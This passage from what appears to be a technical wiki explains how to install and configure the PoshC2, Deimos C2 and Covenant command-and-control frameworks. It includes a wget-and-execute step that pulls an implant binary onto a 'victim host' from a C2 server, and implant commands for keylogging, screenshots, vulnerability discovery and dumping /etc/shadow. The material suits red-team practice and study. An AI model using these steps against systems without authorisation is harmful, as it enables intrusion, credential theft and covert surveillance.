Minimum requirements for the C2 server:<\/p>\n
- \n
- 1 vCPU<\/li>\n
- 1 GB of RAM<\/li>\n
- 15 GB of storage<\/li>\n<\/ul>\n
\nPOSH C2<\/strong><\/p>\n
Posh C2 is maintained by Nettitude, a cyber security consultancy [Link<\/a>]. It allows teams to collaborate on a single server instance and keeps all activity (commands and outputs) logged with timestamps. Traffic is encrypted even over HTTP.<\/p>\n
INSTALLATION<\/strong><\/p>\n
Quick installation on Kali:<\/p>\n
curl -sSL https:\/\/raw.githubusercontent.com\/nettitude\/PoshC2\/master\/Install.sh | sudo bash<\/pre>\n
Or from the Kali repository:<\/p>\n
sudo apt install poshc2 -y<\/pre>\n
Quick installation on Docker:<\/p>\n
sudo apt update && sudo apt install docker.io -y\r\ncurl -sSL https:\/\/raw.githubusercontent.com\/nettitude\/PoshC2\/master\/Install-for-Docker.sh | sudo bash<\/pre>\n
SERVER SETUP<\/strong><\/p>\n
Create a project at \/var\/poshc2\/dft-c2\/payloads\/:<\/p>\n
posh-project -n dft-c2<\/pre>\n
Open the configuration file:<\/p>\n
posh-config<\/pre>\n
Set the IP or hostname of the C2:<\/p>\n
PayloadCommsHost: \"https:\/\/c2.example.com\"<\/pre>\n
Start the server manually:<\/p>\n
posh-server<\/pre>\n
Start or stop the server as a service:<\/p>\n
posh-service\r\nposh-stop-service<\/pre>\n
Note:<\/strong> compiled implants are placed at
\/var\/poshc2\/dft-c2\/payloads<\/code>, wheredft-c2<\/code> is the project name used in this example. You can review the quick start information at any time by runningcat \/var\/poshc2\/dft-c2\/quickstart.txt<\/code>.<\/p>\nHANDLING CONNECTIONS<\/strong><\/p>\n
Start the ImplantHandler:<\/p>\n
posh -u userName<\/pre>\n
At this point an implant must be executed on the victim host<\/span>. Press Enter to refresh until it appears.<\/p>\n
After selecting the number of the connected implant, try the following commands:<\/p>\n
- \n
listmodules<\/code><\/li>\nget-computerinfo<\/code><\/li>\nget-ipconfig<\/code><\/li>\nget-userinfo<\/code><\/li>\nfind-allvulns<\/code><\/li>\ninvoke-arpscan<\/code><\/li>\nget-screenshot<\/code><\/li>\nget-keystrokes<\/code>\n- \n
Get-KeystrokeData<\/code><\/li>\n<\/ul>\n<\/li>\n- …<\/li>\n<\/ul>\n
\nDEIMOS C2<\/strong><\/p>\n
Deimos C2 is written in Go. All communications are encrypted with a unique RSA key pair per listener. It includes a multi-user Web UI with graphical maps for interacting with listeners and agents [Link<\/a>].<\/p>\n
INSTALLATION<\/strong><\/p>\n
https:\/\/github.com\/DeimosC2\/DeimosC2\/releases\/download\/1.1.0\/DeimosC2_linux.zip\r\nsudo apt install unzip -y \r\nunzip DeimosC2_linux.zip\r\nchmod +x .\/DeimosC2 && .\/DeimosC2<\/pre>\n
SETUP<\/strong><\/p>\n
Navigate to the server’s public IP or hostname (e.g. https:\/\/c2.example.com:8443\/).<\/p>\n
![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-18-25.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-20-06.png\")
<\/p>\nGo to LISTENERS > Add Listener<\/strong>.<\/p>\n
![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-22-39.png\")
<\/p>\nSelected agents will be compiled automatically but can also be generated on demand.<\/p>\n
<\/p>\n
![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-25-05.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-25-38.png\")
<\/p>\nAgent binaries are located at the following path, inside a directory named after the listener’s key (UUID format):<\/p>\n
cd ~\/resources\/listenerresources\/3c1076cd-cc30-4b4e-960f-4498ceb72c82<\/strong>\r\npython3 -m http.server 8080<\/pre>\n
Download and execute the agent binary on the victim host:<\/p>\n
wget http:\/\/c2.example.com:8080\/HTTPSAgent_Lin_amd64_Intel\r\nchmod +x HTTPSAgent_Lin_amd64_Intel\r\n.\/HTTPSAgent_Lin_amd64_Intel<\/pre>\n
It will take a few seconds to establish a connection.<\/p>\n
![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-42-59.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-43-38.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-47-24.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-11-45-39.png\")
<\/p>\nTry the following commands:<\/p>\n
- \n
shell whoami<\/code><\/li>\nshell cat \/etc\/shadow<\/code><\/li>\nmodule shadowdump<\/code><\/li>\n<\/ul>\n
\nCOVENANT<\/strong><\/p>\n
Covenant is another collaborative C2 framework focused on highlighting the attack surface of .NET [Link<\/a>].<\/p>\n
INSTALLATION<\/strong><\/p>\n
The Docker version is recommended to avoid having to install the .NET Core 3.1 SDK manually.<\/p>\n
git clone --recurse-submodules https:\/\/github.com\/cobbr\/Covenant\r\ncd Covenant\/Covenant\r\nsudo apt install docker.io -y\r\nsudo docker build -t covenant .\r\nsudo docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -d -v \/FULL_PATH<\/strong>\/Covenant\/Covenant\/Data:\/app\/Data covenant<\/pre>\n
Note:<\/strong> the FULL_PATH<\/strong> must point to the directory where the configuration is located.<\/p>\n
SETUP<\/strong><\/p>\n
Navigate to https:\/\/c2.example.com:7443\/ (replace the hostname accordingly).<\/p>\n
![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-19-07.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-19-46.png\")
<\/p>\nGo to Listeners > +Create<\/strong>.<\/p>\n
![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-21-41.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-12-22-10.png\")
<\/p>\nMANAGING THE CONTAINER<\/strong><\/p>\n
docker start covenant\r\ndocker stop covenant\r\ndocker rm covenant<\/pre>\n
\n
- …<\/li>\n<\/ul>\n
![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-21-45.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-25-54.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-32-39.png\")
<\/p>\n![\"\"](\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2023\/07\/Screenshot-from-2023-07-03-13-28-23.png\")
<\/p>\n